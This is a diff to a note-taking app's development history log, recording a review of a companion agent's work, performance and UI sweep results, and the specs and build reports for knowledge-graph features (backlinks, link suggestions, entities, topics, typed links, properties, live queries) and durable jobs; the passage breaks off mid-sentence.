+### The whiteboard's align and distribute actions were not driven
+
+Verified on the head, 2026-10-04: `scratchpad/ui-sweeps/whiteboard.js` section 6 drives them through the UI buttons and passes (24 of 24 at 1440x900): align centres puts three centres on 600, distribute leaves gaps of 250 and 250 for boxes of different widths, same size gives 300 by 120 to all three.
+
+- **The whiteboard's align and distribute actions**: their markup changed
+  (labels to icons), their handlers were not touched and were not driven.
+  [visual-c.md]
+
+### The companion's walk lays out and recalculates style 59 times a second
+
+Stale, measured 2026-10-04: `atlaswalk.js` (frames counted from the trace, not by a rAF loop; the 59 a second was that loop's own restyle) reads masculine 5.5 style recalcs/s, 0.2 layouts/s, 1.7 paints/s and feminine 5.7, 0, 0.5 over 4s with `nmb-walking` held.
+
+- **The companion's walk itself lays out and recalculates style 59 times a
+  second, in either look** (`atlaswalk.js`, 2026-09-26: layouts 59/s, style
+  recalcs 59/s, about 120 paints/s, with `nmb-walking` held and nothing else
+  happening). The idle figure is 0 layouts (companionperf.js), so this is the
+  walk's own per-frame work in avatars.js (the position written each frame,
+  or a read of the page beside it), not Atlas's drawing. Not opened in the
+  review because avatars.js was the companion agent's file that night; the
+  first look is whether the walk writes `style.transform` from a
+  requestAnimationFrame loop that also reads a rect.
+
+### Review of the companion's round 5 (3ecadd4 to 69ac76b), 2026-09-26
+
+All three items it left are done on the head, checked 2026-10-04: (a) `nameMarkBuddyTick` now works the mood out before the night yawn's early return (avatars.js); (b) the walk's style-recalc cost was the sweep's own rAF counter, 5.5/s and 0.2 layouts/s with `atlaswalk.js` counting frames from the trace; (c) the layout picker's change handler awaits `ensureModule("graph")` before writing `graphAutoFitDone` (navigation.js).
+
+- **Review of the companion's round 5 (3ecadd4 to 69ac76b), 2026-09-26.**
+  Read diff by diff for CLAUDE.md section 6's four shapes, races, listeners
+  and the CSP. Fixed in files nobody was in: the layout picker's
+  `setGraphPhysicsEnabled` (navigation.js:1754) is in the graph bundle's
+  stand-in table now (app.js `LAZY_ENTRY_POINTS`), so a change made on the
+  Graph tab before the bundle has arrived loads it rather than throwing
+  (the companion agent's remaining item 1); Atlas's eyes in the new `hide`
+  act (below). Read and found sound: the toss (the drag class is removed
+  before the toss returns, the flight and the spin are Web Animations on
+  translate/rotate, no CSS transform to fight), the pet timer (cleared on
+  leave and pointerdown, mouse only), the six reactions' cooldowns and the
+  6s gap, the note-opened capture listener (one, at boot), the menu-flake
+  fix (`window._menuOpenedAt`, a 200ms window), the walk pacing. Left for
+  the companion's file (avatars.js): (a) `nameMarkBuddyTick` returns as
+  soon as a night yawn fires, so that tick's drift and the rest of its
+  night handling are skipped once in thirty minutes (avatars.js, the
+  `late` block); (b) with the legs and sash on compositor roots the walk
+  still recalculates style 60 times a second (16 to 22 ms/s, 0 paints, 0
+  layouts, atlaswalk.js): a per-frame write of a custom property or class
+  on `#nm-buddy` during a walk, the pacer's own tick, or the host's
+  `--nmb-*` sway; (c) `graphAutoFitDone = false` in navigation.js:1758
+  runs before graph.js has declared that `let` when the bundle is cold: a
+  sloppy-mode global write that the later declaration shadows, lost but
+  harmless (graph.js starts it false).
+
+### Thirty-three agent files archived, 2026-10-04
+
+The files in `agent-remaining/` whose agents had finished moved to
+`archive/agent-remaining/`; what each still held that is open is a row in OPEN.md,
+"Carried from the agent files archived 2026-10-04". Checked against the head while
+reading them, 2026-10-04:
+
+- **Built since the file was written, so not carried:** the Ask tab's four reports
+  (asktab.md: 297 `facts: true` on the Ask rows and the adjacency margin, 298
+  `.is-generating`, 299 the record numbers, 300 the sources banner gone); the boot
+  agent's two duplicate fetches (`/chat/recent`, `/entries/most-accessed`, now one
+  request through `cacheMs`); the chat starters naming a category as prose (routes_chat.py
+  `_about`); the graph minimap rebuilding its dots (`graphMinimapChildren` reuses
+  them); chrome2's two Settings edits (235, 237, struck in OPEN.md).
+- **Stale, measured:** the Guide transcript not scrolling itself
+  (`scratchpad/ui-sweeps/guidescroll.js`, 3 of 3: the list is the scroller, scrollTop
+  3404 at its end, the card around it does not scroll); the whiteboard's align and
+  distribute actions never driven (`whiteboard.js` section 6 drives them, 24 of 24);
+  `mindmapimage.js` at 390x844 (12 of 12).
+- **Found and fixed from them, each with a test and a sweep:** the Write with AI draft
+  box could be typed into while a pass streamed into it, because `readOnly` only reached
+  the hidden textarea behind the mounted editor (`draftreadonly.js`,
+  `tests/test_note_surface_readonly.py`; typing during the pass changed the draft
+  before, not after); a board's pictures were missing from its PNG, PDF and library
+  copy, and the saved .svg named an address only the app understands (an SVG drawn
+  through `<img>` loads nothing outside itself; `wbexportimage.js` read the board's
+  white at the middle of a red picture before and red after,
+  `tests/test_wb_export_inline_images.py`); a Ctrl+mouse-wheel notch zoomed the board
+  and the graph by 5.3x (d3-zoom's pinch multiplier on a mouse's 120 pixels), now about
+  1.4x with a pinch unchanged (`ctrlwheelzoom.js`, `tests/test_zoom_wheel_delta.py`);
+  `contrast.js` printed a low-contrast finding and exited 0, now fails on one that is
+  not a translucent estimate (0 findings at 1440 light and dark, 820 light, 390 dark,
+  exit 0 each); `wbarrange.js`, stale since Phase 2 removed the drawer it asked for and
+  superseded by `wbinbox12.js`, deleted.

+## Moved from the plans, 2026-10-04 (the knowledge graph, INBOX 528)
+
+### From GRAPH_PLAN.md: the knowledge graph's spec, moved whole once KG1 to KG9 were built
+
+The section's research and design as written before the build; each phase's
+Built block follows. Kept for the reasons and the done-whens, which the
+blocks below were measured against.
+
+#### (a) What exists (read in the code, 2026-10-04)
+
+| Layer | Where | What it is | Gap |
+| --- | --- | --- | --- |
+| Links | `core/database.py` `EntryLink` | source, target, `reason` (free text), `reason_confidence` (deduced only), `link_type` (closed set of six, `LINK_TYPES`), `origin` ("wiki" or null); `link_strength` weights paths | no properties on a link; no inverse names; a type is undirected in the UI |
+| Wiki links | `entry/manager.py` `sync_wiki_links`, `find_by_wiki_name`, `resolve_links_to`, `rewrite_wiki_name` | `[[name]]` resolves by vault stem then opening line; stale wiki links removed; rename rewrites holders | no aliases; ghosts only on the graph (`routes_graph._add_unresolved_nodes`) |
+| Backlinks | `routes_entries._reference_rows_batch`, `/entries/{id}/connections`, `/references` | incoming notes, "links to it" vs "mentions it" | **no context sentence, no one-click link** for a note (documents have both: `routes_documents._backlinks`, `documents.js` `docLinkMention`) |
+| Threads | `Entry.parent_id` | reply chains, a graph edge kind | fine |
+| Entities | `ai/entities.py` `extract_entities_pass`, `Entity`, `EntityMention`, `routes_graph._add_entity_nodes` | free-text names from the utility model, membership only | no kind, no aliases, no merge, no entity page, no co-mention edge |
+| Dates | `EntryDate` | resolved relative phrases | not a node or a relation |
+| Facts | `DerivedFact` (claim, question) | spans with provenance and lifecycle | not linked to relations |
+| Documents, maps, tags, attachments | `routes_graph._add_document_nodes`, `_add_map_edges`, `_add_tag_nodes`, `_add_attachment_nodes` | opt-in node kinds | fine |
+| Categories, spaces | `Category`, `Space` | one category per note; spaces scope | no per-type fields |
+| Similarity | `routes_graph._similarity_edges` (k=2 per note), `search_engine.cached_similar_pairs` | cosine over stored vectors, cached per matrix version | one signal, one reason string |
+| Suggestions | `routes_entries.link_suggestions` (12 pairs, similarity only), `/tensions` (contradiction via local model), `learning` `dismiss_link` | accept or dismiss | **one signal**, and none at all with embeddings off; no co-mention, co-citation or time; no accept learning |
+| Structure | `paths.clusters` (connected components, a decision), `hubs`, `orphans`, `pagerank`, `/graph/structure` cached | exact islands | no topics inside an island, no names, no summaries |
+| Paths | `/graph/path`, `paths.find_many` | weighted Dijkstra with a per-hop phrase | the phrase is the link reason only |
+| Properties | `core/docmeta.py` (documents' frontmatter, read-only) | none for notes | no fields, no types, no queries |
+| Saved searches | `routes_settings` `saved_searches`, graph groups | text queries, colour groups | no property or relation operators |
+
+#### (b) Research (what each does that matters here)
+
+- **Obsidian**: a backlinks pane with linked and unlinked mentions, each
+  with its sentence, and a one-click Link
+  ([Backlinks](https://help.obsidian.md/plugins/backlinks)); properties as
+  typed YAML frontmatter ([Properties](https://help.obsidian.md/properties));
+  Bases, table, cards and list views over properties with filters and
+  formulas ([Bases syntax](https://help.obsidian.md/bases/syntax)); Dataview
+  (community); Canvas; graph groups by query
+  ([Graph view](https://help.obsidian.md/plugins/graph)). Edges are untyped;
+  nothing is inferred.
+- **Notion**: relation properties between database rows, two-way with a
+  named inverse; rollups compute over related rows
+  ([Relations and rollups](https://www.notion.com/help/relations-and-rollups)).
+  No graph, no inference, no unlinked mentions.
+- **Logseq**: block references and embeds, linked and unlinked references
+  per page, queries over properties and tags ([docs](https://docs.logseq.com/)).
+- **Tana**: supertags make a node a typed object with fields; search nodes
+  are live queries over tags and field values
+  ([Supertags](https://tana.inc/docs/supertags), [Fields](https://www.tana.inc/docs/fields),
+  [Search nodes](https://tana.inc/search-nodes)).
+- **Heptabase, Capacities**: object types (Person, Book, Meeting) with their
+  own properties and pages; Heptabase draws only explicit relations and
+  lists inferred ones beside the card.
+- **Knowledge-graph tooling (GraphRAG)**: model-extracted entities and typed
+  relations with descriptions, Leiden communities, a precomputed summary per

+
+#### (d) Target design (storage, recognition and cost, API, UI recipe, done-when)
+
+**KG1. Backlinks with context; unlinked mentions to one-click links.**
+Storage: none (read from text). Recognition: the documents scanner moves to
+`entry/mentions.py` (`sentence_around`, `backlink_spans`) and is searched for
+the note's name (opening line, heading marker off); one LIKE narrows, the
+regex decides. Cost: one LIKE over notes and documents, 400 sources at most.
+API: `GET /entries/{id}/backlinks` (`links`, `mentions`, each with `context`,
+`hit_start`, `hit_end`, `start`, `end`); `POST /entries/{id}/mentions/link`
+(`kind`, `id`, `start`, `end`) re-checks the span on the server, rewrites it
+to `[[name]]` and saves through the manager (revision, wiki sync, event). UI:
+two connection groups in the Notes rail, rows on the `.doc-backlink` recipe
+with a `smallButton` Link. Done when: one click turns a mention into a
+stored wiki link and it leaves the mentions list; a moved span answers 409
+and writes nothing.
+
+**KG2. Relationship recognition with explanations.** Storage: none new;
+reads `EntryLink`, `EntityMention`, tags, `created_at`, vectors. Signals,
+each a reason sentence and a 0..1 confidence: similarity (the cached pairs);
+co-mention (shared entities, IDF weighted); co-citation (shared link
+neighbours, Adamic-Adar); shared rare tags (IDF weighted, hub tags out);
+written close in time (support only, never alone). Combined as a noisy-or,
+ranked, one note anchoring two at most. Cost: linear in links and mentions,
+except co-citation, the sum of degree squared. API: `/entries/link-suggestions`
+rows gain `signals: [{signal, reason, confidence}]` and `confidence`, and the
+list is no longer empty with embeddings off. UI: the suggestions panel lists
+the reasons. Done when: a pair joined by two shared entities and a shared
+neighbour is suggested, with both reasons, with the embedding backend off;
+2k notes well under a second, measured.
+
+**KG3. Typed directional relations with properties.** Storage:
+`relation_types` (name, inverse, directed, colour, built_in); `EntryLink`
+gains `props` (JSON text, ADD COLUMN). The six built-ins stay; a person adds
+"part of / has part", "cites / cited by". Recognition: on accept, the
+utility model may propose a type (one call, optional). API:
+`/relation-types` CRUD; link create and patch take `link_type` and `props`.
+UI: the link menu's type picker (`kebabMenu`), the inverse name on the
+incoming row. Done when a custom type survives a backup round trip and shows
+its inverse name.
+
+**KG4. Note types with fields.** Storage: the note's text is the source of
+truth (a `---` frontmatter block, Obsidian-compatible, so an imported vault
+keeps its properties); `entry_properties` (entry_id, key, value, number,
+date) is an index rebuilt on save; `note_types` (name, icon, colour, fields
+JSON: text, number, date, note, list, checkbox); a `type:` property assigns
+one. Cost: a parse per save. API: `/note-types` CRUD,
+`/entries/{id}/properties`. UI: a property table under the note title
+(`.settings-row`), relation fields as note pickers. Done when a vault's
+frontmatter imports as properties and a type adds its fields to a new note.
+
+**KG5. Entity layer.** Storage: `Entity` gains `kind` (person, place,
+project, organisation, thing), `aliases` (JSON), `merged_into`.
+Recognition: the extraction prompt asks for `name|kind`; exact and alias
+matches merge on their own, near matches (token-sort ratio 0.9 or more) go
+to KG9 as merge suggestions. An entity page: mentions with context (KG1's
+scanner), co-mentioned entities, its dates. Done when "Sam" and "Sam Lee"
+merge and every mention follows.
+
+**KG6. Topics and summaries.** Cached per fingerprint like
+`/graph/structure`. Label propagation inside each component (seeded, in id
+order), named by the top IDF tags, entities and title words; a local-model
+summary per topic on demand, cached by its members. Components stay the
+clusters (the 2026-09 decision stands); topics are a labelled second layer.
+Cost: O(edges x iterations). API: `/graph/structure?topics=1`. UI: hulls on
+the canvas, legend chips. Done when a two-topic fixture splits into two
+named topics.
+
+**KG7. Saved live queries.** A grammar in the search box: `type:meeting`,
+`prop:status=open`, `links:[[X]]`, `rel:contradicts`, `entity:"Sam"`,
+`tag:x`, `-` negates. Stored with saved searches; results as a list, a table
+(properties as columns) and a graph filter. Done when one query gives the
+list, the table and the graph the same ids.
+
+**KG8. Graph filters and path explanations.** Filter chips by relation type
+and property; topic hulls; every `/graph/path` hop says each KG2 signal that
+joins the pair, not only the link reason.
+
+**KG9. A suggestions inbox that learns.** One sheet: link suggestions,
+tensions, entity merges, type suggestions. Accept writes the link with
+`reason` and `reason_confidence` from the signals and records `accept_link`;
+reject records `dismiss_link`; each signal's weight moves with its
+acceptance rate (Laplace smoothed, bounded 0.5x to 1.5x).
+
+#### (e) Phases, build order
+
+1. KG1, backlinks with context and one-click mentions: built 2026-10-04,
+   moved to HISTORY.md ("Moved from the plans, 2026-10-04 (the knowledge
+   graph, INBOX 528)").
+2. KG2, multi-signal recognition with explanations: built 2026-10-04, moved
+   to HISTORY.md (the same section as KG1).
+3. KG9, the inbox and accept learning: built 2026-10-04, both parts moved
+   to HISTORY.md (the same section as KG1).
+4. KG5, entity kinds, aliases, merge, entity page: built 2026-10-04, moved
+   to HISTORY.md (the same section as KG1).
+5. KG6, topics, names, hulls, summaries: built 2026-10-04, both parts
+   moved to HISTORY.md (the same section as KG1).
+6. KG3, relation types with inverses and properties: built 2026-10-04,
+   moved to HISTORY.md (the same section as KG1).
+7. KG4, properties and note types: built 2026-10-04, moved to HISTORY.md
+   (the same section as KG1).
+8. KG7, live queries: built 2026-10-04, moved to HISTORY.md (the same
+   section as KG1).
+9. KG8, graph filters and path explanations: built 2026-10-04, both parts
+   moved to HISTORY.md (the same section as KG1).
+
+One Opus session each, tests first, measured on a 2k fixture.
+
+
+### From GRAPH_PLAN.md: KG1, backlinks with context and one-click mentions
+
+The scanner `routes_documents` used for a document's backlinks moved whole to
+`entry/mentions.py` (`sentence_around`, `backlink_spans`, `backlink_rows`)
+and is read by both. `routes_mentions.py` adds `GET /entries/{id}/backlinks`
+(the note's name is its opening line without the heading marker, then an
+imported file's stem; a link counts when its `[[name]]` resolves to the note
+through `find_by_wiki_name`, so `[[name|alias]]`, `[[name#part]]` and prefix
+names count too; sources are the notes whose stored wiki link lands here plus
+any note or document whose text holds a name, 400 each) and
+`POST /entries/{id}/mentions/link`, which re-reads the source, refuses a span
+that no longer says the name or sits inside a link (409, nothing written),
+writes `[[the words as written]]` and saves through `update_entry` or
+`update_document`, so the revision, the wiki sync and the vector refresh
+happen as on any save. In the Notes column and the Connections sheet an
+incoming note row carries its sentence (`docBacklinkContext`, moved to
+menus.js), the text-only "Mentions it" rows give way to a "Mentioned, not
+linked" group with a Link button, and the column's count leaves the
+mentions out. Measured: `tests/test_note_backlinks_kg1.py` 11 tests;
+`scratchpad/ui-sweeps/kg1rail.js` 11/11 at 1440x900 (sentence 260px wide,
+no clamp overflow, no sideways scroll, Link rewrote "kiln schedule" to
+`[[kiln schedule]]`, the group left, the count went 1 link to 2 links, the
+sheet showed both sentences). Not verified: dark theme contrast of the
+context line (the tokens are the document panel's, measured there).
+
+### From GRAPH_PLAN.md: KG2, relationship recognition with explanations
+
+`ai/relations.recognise` (pure, plain data in) adds four signals to the
+cosine pairs: entities both notes name (`EntityMention`, 0.5 when only these
+two name it, 0.35 to five, 0.2 to thirty), a note both link with (links and
+threads, 0.35, 0.25, 0.12 by that note's degree, Adamic-Adar in spirit), a
+rare tag both carry (0.35, 0.25, 0.15, ten notes at most), and written within
+30 minutes (0.15, support only: it lifts a pair already within reach of the
+bar and never proposes one). Each signal is a noisy-or of its hits under a
+cap; the pair's confidence is the noisy-or of its signals; 0.5 is the bar, so
+a cosine at the old 0.55 still qualifies alone and one shared tag does not.
+Pairs stay `(low, high)` tuples until they clear the bar (a Candidate per
+pair cost 2.4 s at 10k notes; 802 ms after). `GET /entries/link-suggestions`
+rows gain `confidence` and `signals` (`similarity` is null for a pair found
+by structure alone), work with the embedding backend off, keep the duplicate
+filter and the two-per-note cap, and leave the time signal out of `reason`.
+The panel shows the combined percentage and each reason with its own; Link
+with the box empty sends the reasons for a pair found by structure. Measured:
+`tests/test_relations_kg2.py` 11 tests (2k notes 162 ms, 10k 802 ms);
+`scratchpad/ui-sweeps/kg2suggest.js` 6/6 at 1440 (the reasons on one 17px
+line) and 5/5 at 390 (they wrap to 50px, nothing sideways). Not verified: the
+route's own time at 2k notes against a real embedding backend (the matrix
+pass is cached per version, as before).
+
+### From GRAPH_PLAN.md: KG9 part one, accepting and dismissing teach the signals
+
+`learning.KINDS` gains `accept_link` (no boost family; `dismiss_link` keeps
+its exclusion). The panel's Link records `accept_link` and its dismissal
+`dismiss_link`, each with `subject.signals`, the names the pair was offered
+for. `learning.signal_weights` gives each signal twice its acceptance rate,
+Laplace smoothed, decayed over `HALF_LIFE_DAYS`, bounded 0.5 to 1.5, and
+nothing for a signal never decided about; `relations.recognise(weights=)`
+scales each signal by it under its cap (time's ceiling 0.225). Measured:
+`tests/test_relations_kg2.py` 15 tests, among them six dismissals elsewhere
+taking a tag-and-neighbour pair under the bar at the route;
+`kg2suggest.js` 7/7 (the accept recorded with `similarity`, `neighbours`,
+`tags`, `time`). Left in GRAPH_PLAN: the inbox sheet (tensions, entity
+merges, type suggestions in one place).
+
+### From GRAPH_PLAN.md: KG6, topics inside the islands, named and outlined
+
+`entry/topics.py`: weighted label propagation in id order over the paths
+index, each vote `1 / Step.weight` times one plus the neighbours the two ends
+share (a lone bridge sits in no triangle, so it cannot pull one subject into
+the next), a note keeping its label on a tie; topics of three or more notes;
+each named by the term (tag, entity, title word) with the highest share of
+its notes times inverse document frequency, tags before entities before
+words on a tie, "Topic N" when nothing distinguishes it. Components stay the
+clusters (the 2026-09 decision). `GET /graph/structure?topics=1` adds
+`topics` and `topic_of`, cached per fingerprint; a private note is in a topic
+and lends no word. The canvas: a Topic colour rule, a dashed padded convex
+hull per topic with its name in ink on a card plate edged in the topic's
+colour, lifted clear of the top note's label; legend entries list the terms
+and find the notes. Measured: `tests/test_topics_kg6.py` 7 tests (10,000
+notes in 170 ms); `scratchpad/ui-sweeps/kg6topics.js` 4/4 light and dark
+(two bridged subjects, two named topics, one colour each). Not verified: the
+plates against note labels on a dense map (the label pass does not know the
+plates), and the SVG renderer draws the topic colours without hulls.
+
+### From GRAPH_PLAN.md: KG8 part one, a path's hop says every reason
+
+`relations.explain_pair` reads one pair with KG2's signals, weights and
+sentences (entities with the notebook's own counts, link and thread
+neighbours, rare tags; no similarity: a path asks what the notebook says).
+`/graph/path` steps, on every route, gain `also`, built once per request for
+every hop (`routes_graph._hop_reasons`); a hop with a private end has none.
+Trace's connector shows `+N` and its title lists them. Measured:
+`tests/test_path_explain_kg8.py` 4 tests; `scratchpad/ui-sweeps/kg8trace.js`
+4/4 (one hop, "+2", both reasons on hover, nothing sideways). Left in
+GRAPH_PLAN: filter chips by relation type and property (needs KG3 and KG4).
+
+### From GRAPH_PLAN.md: KG9 part two, one suggestions sheet
+
+`openSuggestionsInbox(kind)` (suggestions-inbox.js, a lazy bundle) is one
+`openSheet` with a `.seg` of four kinds and their counts: Links (the
+`/entries/link-suggestions` rows, moved whole from the graph's panel, which is
+gone), Tensions (the review moved whole from its dialog, which is gone; still
+started by hand), Names and Link types (`GET /suggestions`, `ai/inbox.py`,
+`api/routes_inbox.py`). Names: the same words in another case (0.95), a first
+name inside a full name ("Sam" in "Sam Lee", 0.6, times 0.7 when the short
+name sits in several), a near spelling (token-sort ratio 0.9 or more, never
+across differing digits), plus named together in a note (0.5); blocks, not
+every pair (5,000 names well under a second). Merge moves every mention, keeps
+the other name as an alias and marks it `merged_into`, and extraction follows
+both (`_find_or_create_entity`). Link types: a cue word in the link's own
+sentence (the source's `[[name]]` or name) or a reason a person wrote, one
+type only. Each decision is a correction (`accept_merge`, `dismiss_merge`,
+`accept_link_type`, `dismiss_link_type`, and now `accept_tension` and
+`dismiss_tension` from the tension routes); `signal_weights` takes the kinds
+and a `prior` (3 for the inbox, so one dismissal does not silence a cue). A
+link accepted from its structural reasons keeps their confidence
+(`reason_confidence` on create). `PATCH /entries/{id}/links/{link_id}` sets a
+type. Entities gain `kind`, `aliases` and `merged_into` (migration
+b8e4f2a6c9d1). Measured: `tests/test_suggestions_inbox_kg9.py` 16 tests;
+`scratchpad/ui-sweeps/kg9inbox.js` 15/15 at 1440 and 390, light and dark, on a
+fresh data dir (the four kinds on one row, a merge moving three mentions, the
+cue marked, the type on the link, arrows walking the tabs). Not verified: the
+tension pass against a real model inside the sheet (no model here); toasts
+fired from a phone's bottom sheet land behind it (every sheet, not this one).
+
+### From GRAPH_PLAN.md: KG5, the entity layer
+
+`suggest_entities_with_kinds` asks for `name|kind` and reads a small model's
+words onto `ENTITY_KINDS` (org, company, location and the like; anything else
+is no kind); the pass fills a kind an entity lacks, and an alias or a merged
+name lands on the survivor (KG9's `_find_or_create_entity`). `routes_entities`:
+the list (visible mentions only, merged and private-only left out), a page
+(each note's sentence with the name or an alias marked, longest name first;
+the entities named in the same notes; `EntryDate` rows of its notes; first and
+last seen), PATCH (name, kind, other names; a bad kind 422) and a merge by
+hand. The graph's entity nodes carry `entity_kind`, and two entities named
+together in two notes or more (notes naming twelve or fewer) get a dotted
+`comention` edge weighted by the count. `entity-page.js` (lazy, the inbox's
+bundle): the page as a sheet (a `kebabMenu` of Kind, Rename, Other names, Merge
+into), and People and things, a filtered list; a graph entity opens its page.
+`openSheet`'s Escape now leaves an open ⋯ menu to close itself (it closed the
+whole sheet). Measured: `tests/test_entities_kg5.py` 6 tests;
+`scratchpad/ui-sweeps/kg5entity.js` 10/10 at 1440 and 390, light and dark
+(both mentions marked, Priya · 2, the Thursday date, the menu's four rows,
+nothing sideways). Not verified: a real model writing `name|kind` (the parser
+is tested on the shapes a small model is known to write).
+
+### From GRAPH_PLAN.md: KG6 part two, a topic's summary and labels off the plates
+
+`POST /graph/topics/summary` (`ids`, `name`, `terms`): the utility model reads
+the titles and opening lines of twelve readable members (a private note is
+never read), one sentence under 30 words; cached by the members and their
+`updated_at`, two hundred at most, cleared with the graph cache; no model, a
+failing one or an empty answer gives `topics.terms_sentence` ("5 notes about
+#glaze, kiln and Priya.") and is not cached, so the model is asked next time.
+The canvas: a topic's legend entry opens `#graph-topic`, a card in the graph
+overlay's panel shell (name, size, the shared terms, Summarise with Stop,
+an AbortController; a model answer is kept per members in the page), and
+leaving the Topic rule closes it. `gcDrawTopicHulls` records each plate in
+world units and `gcPlaceLabels` takes them as `blocked` boxes, so no note's
+name is placed on a plate. Measured: `tests/test_topic_summary_kg6.py` 5
+tests; `scratchpad/ui-sweeps/kg6summary.js` 7/7 at 1440 light and 390 dark
+(no label box on any of 3 and 5 plates, the card 384px and 350px wide, the
+terms answer with no model). Not verified: a real model's sentence (the
+sandbox has none); the SVG renderer draws neither hulls nor the card.
+
+### From GRAPH_PLAN.md: KG3, kinds of link with inverse names and properties
+
+The six built-ins stay in code (`LINK_TYPES`, with `LINK_TYPE_INVERSES`:
+Continued by, Explained by, Supported by, Has example; Related and
+Contradicts read the same both ways), so the spec's `built_in` column is the
+API's flag, not a row: a notebook with no custom kinds is unchanged. A person's
+own are `RelationType` rows (key from the name, name, inverse, directed,
+colour); `EntryLink.props` is a JSON object of at most twenty short scalars
+(a list or a group is refused, 422). `manager.relation_types` (kept on the
+session for a request), `is_link_type`, `link_label` (the inverse from the
+target's end); `create_link` and `PATCH /entries/{id}/links/{link_id}` take a
+custom kind and `props`; `LinkOut` and the Connections rows carry `link_type`,
+`link_label` and `props`; graph edges with a kind carry `type_name` and
+`type_inverse`; the JSON export carries each link's kind, reason and
+properties and the kinds. `/relation-types` GET, POST (409 on a name taken,
+built-ins included), PATCH and DELETE (custom only, 400 for a built-in; links
+of a deleted kind lose the kind). Migration c3f7a9e2d5b8 (the table and the
+column, guarded against the auto-migrator). The UI: a link chip names its
+kind from that note's end (`.link-kind`), the Connections rows too
+(`connection-row-cue`), the link's ⋯ gains Kind and properties
+(`openLinkTypeSheet`, link-types.js, the inbox's lazy bundle: every kind
+with its other name, No kind, New kind, Properties as `name: value`), and
+Kinds of link in the palette (`openRelationTypesSheet`). Done-when measured:
+`tests/test_relation_types_kg3.py` 8 tests, a custom kind restored from a
+backup with "Has part" on the whole; `scratchpad/ui-sweeps/kg3types.js` 8/8 at
+1440 light and 390 dark. Not verified: the agent's own link tool still offers
+the six built-ins only.
+
+### From GRAPH_PLAN.md: KG4, note properties and note types
+
+`entry/properties.py`: `block_end` (the documents' fence rule: line one,
+closed within 200 lines), `split` (read with `core/docmeta.properties`),
+`strip`, `write` (rewrites the block, copies every character after it,
+quotes a value that would not read back) and `note_type`. The block is never a
+name: `plain_label`, `extract_title`, `wiki_opening` (and
+`find_by_wiki_name`'s narrowing), `note_names`, `_preview`, and in the page
+`stripFrontmatter` under `notePreviewText` and `bodyWithoutTitleLine`.
+`EntryProperty` (a row per value, `number` and `date` when it reads as one)
+is rebuilt by `manager.reindex_properties` on create, on a content edit and on
+a privacy change; a private note has none; the hard delete and a space's
+purge remove them. `NoteType` (name, icon, colour, fields of text, number,
+date, note, list, checkbox). `routes_properties`: GET and PUT
+`/entries/{id}/properties` (the PUT saves through `update_entry`, conflict
+guard included) and `/note-types` CRUD; `EntryCreate.note_type` writes
+`type:` and the fields first. Import keeps a vault's other keys at the top of
+the note (category and tags become fields, created, updated and pinned are
+the export's); the Markdown export writes one block. `EntryOut` carries
+`properties` and `note_type`. The page: a `.note-props` table under a card's
+title, Properties in the note's ⋯ and Note types in the palette
+(`note-properties.js`, the inbox's lazy bundle). Migration d9b2e6f4a1c7.
+Measured: `tests/test_note_properties_kg4.py` 10 tests (a vault's file imports
+with status and owner as properties; a Meeting note starts with its fields);
+`scratchpad/ui-sweeps/kg4props.js` 9/9 at 1440 light and 390 dark. Not
+verified: the document editor's own frontmatter panel is unchanged and does
+not read note types; a note field is a `[[link]]` written into the block,
+resolved by the wiki sync, not a picker that searches.
+
+### From GRAPH_PLAN.md: KG7, live queries
+
+`entry/query.py`: `parse` (type, prop with `= != > >= < <=` or bare for
+any value, links, rel, entity, tag, words and phrases, `-` before any; other
+app operators are the browser's) and `run` (every term ANDed over live,
+non-draft, non-board notes; prop reads `EntryProperty`, numbers and ISO dates
+compared as such; links resolves the name with `find_by_wiki_name`, either
+direction; rel matches a kind's key, name or inverse; entity a name or an
+alias; words never match a private note). `GET /entries/query` returns
+`ids` newest first, the table's `columns` (type first, then most common, 8)
+and `rows`. In the page `parseNoteQuery` lifts the structural terms out
+(`LIVE_QUERY_RE`), `matchesSearch` keeps a note only when the server's ids
+for them hold it (`liveQueryIds`, asked once per query and re-rendered on
+the answer), the browser's own operators apply as before, and
+`liveQueryBar` over the list offers Table (`openQueryTable`, the same ids
+with the properties as columns) and Show on graph (`showQueryOnGraph`, the
+same ids lit). A saved filter saves the query. Measured:
+`tests/test_live_queries_kg7.py` 6 tests; `scratchpad/ui-sweeps/kg7query.js`
+7/7 at 1440 light and 390 dark (list, server, table and graph: the same two
+ids). Found and fixed on the way: the sidebar's Most used, a note's Ask Atlas
+name, the graph popup's name and a board's note card read a note's first
+line raw, so a note opening with properties was named "---" there.
+
+### From GRAPH_PLAN.md: KG8 part two, filter chips by kind of link and by property
+
+A Filter fold in the graph's options (`#graph-filter-section`, after
+Display): `gcRenderFilterChips` builds, on every render, a `.library-chip`
+toggle per kind of link among the map's links (its `type_name`, "No kind"
+for none, with the count; `aria-pressed` while drawn) and one per property
+value the map's notes carry (twelve, most common first). A kind chip adds or
+removes the kind from `graphHiddenLinkKinds` (kept in `localStorage`), which
+the edge filter in both renderers reads (`gcLinkKindHidden`), so the springs,
+the sizes and the drawing all lose those links together; a property chip
+lights its notes through `graphHighlightIds`, the topic legend's and the
+live query's highlight. Measured: `scratchpad/ui-sweeps/kg8filter.js` 6/6 at
+1440 light and 390 dark (Supports off takes its one link off the map and on
+brings it back; status: checked lights exactly its note); the chips wrap
+inside the 390 sheet (measured 44px each, none past the edge, after a first
+run found the property row running off it). The closed panel is 676px of
+list in its 492px box at 1440x900, 39px more than before the fold (it
+already scrolled, 637 in 492).
+
+
+## Moved from the plans, 2026-10-04 (B2 durable jobs)
+
+### From WORLD_CLASS_PLAN.md B2: the spec as written
+
+Today long work runs in threads with no persistence (MODERNISATION_AUDIT
+D2). Move: a `jobs` table (`id, kind, state, progress, payload, result,
+error, attempts, run_after, heartbeat`), a single worker thread per process
+that leases jobs, a `@job` decorator that makes any function durable, and
+SSE `/jobs/stream` for the UI. Jobs: re-index, embed, OCR, caption,
+auto-file, skill run, import, backup, model download. Every job is
+cancellable, survives a restart, and reports progress in one shape the
+"Running now" panel renders. Gate: kill the server mid-OCR, restart, the
+job resumes; the panel shows it.
+
+**State 2026-09-24:** (b) the bounded pool is built (`core/jobs.py`, `tests/test_jobs_pool.py`, audit row A3); the durable half is not: no `jobs` table, no lease or heartbeat, no resume after a kill, no `/jobs/stream`. L, Opus.
+
+### Built 2026-10-04: the durable half, for the pool's kinds
+
+- **`core/jobstore.py`** and a `jobs` table (`DurableJob`: kind, name,
+  state, JSON payload, dedupe key, attempts, owner, lease_until, heartbeat,
+  result, error, created/started/finished). A new table, so `create_all`
+  builds it on every notebook; no migration, the same as `job_runs`.
+- **What is durable:** a pool job (`core/jobs.py`) whose kind has a named
